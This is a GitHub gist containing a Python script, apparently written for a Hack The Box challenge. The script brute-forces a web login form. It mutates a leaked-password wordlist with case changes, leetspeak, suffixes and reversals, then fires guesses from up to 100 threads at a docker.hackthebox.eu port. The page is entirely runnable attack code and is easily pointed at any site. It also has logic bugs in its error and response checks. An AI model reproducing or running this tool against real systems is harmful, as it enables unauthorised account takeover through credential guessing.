Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/env python
# https://github.com/berzerk0/Probable-Wordlists/tree/master/Real-Passwords
import requests
import re
import hashlib
from threading import *
from queue import *
import argparse
import signal
import sys
def numletters(password):
s = {'a': 4, 'e': 3, 'i': 1, 'o': 0,}
for letter in s.keys():
password = re.sub(letter, str(s[letter]), password)
return password
def mutations(password, final=False):
ret = [password]
ret.append( password.lower() )
ret.append( password.upper() )
ret += [ "{}!".format(x) for x in ret]
ret += [ numletters(x) for x in ret]
if not final:
if password[-1] == "s":
ret += mutations(password[0:-1], True)
else:
ret += mutations( password + "s" ,True)
ret += mutations(password[::-1], True)
return list(set(ret))
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--nomutate', default=False, action='store_true', help='do not mutate list')
parser.add_argument('-v', '--verbose', default=False, action='store_true', help='do not mutate list')
parser.add_argument('-f', '--file', type=str, default='file', help='name of the password file')
parser.add_argument('-p', '--port', type=str, default='port', help='port to use')
parser.add_argument('-t', '--threads', type=int, default=100, help='number of threads')
args = parser.parse_args()
URL="http://docker.hackthebox.eu:{}/".format(args.port)
q = Queue()
stopEvent = Event()
# stop threads on ctrl-c
def signal_handler(sig, frame):
print('You pressed Ctrl+C!')
stopEvent.set()
signal.signal(signal.SIGINT, signal_handler)
for word in open(args.file):
if args.nomutate:
q.put( word.strip() )
else:
for w in mutations( word.strip() ):
q.put(w)
def worker(stopEvent,trash):
while not stopEvent.is_set():
password = q.get()
if args.verbose:
print("Checking password:", password)
try:
r = requests.post(URL , {'password': password})
except Exception as e:
print("Error:", e)
if r.text.find("Invalid password") == -1:
if r.text.find("Too slow"):
continue
print("Password is:", password)
print("Password found stopping all threads")
stopEvent.set()
q.task_done()
tlist = []
for i in range(args.threads):
t = Thread(target=worker, args=(stopEvent,"a"))
t.daemon = True
t.start()
tlist.append(t)
for t in tlist:
t.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.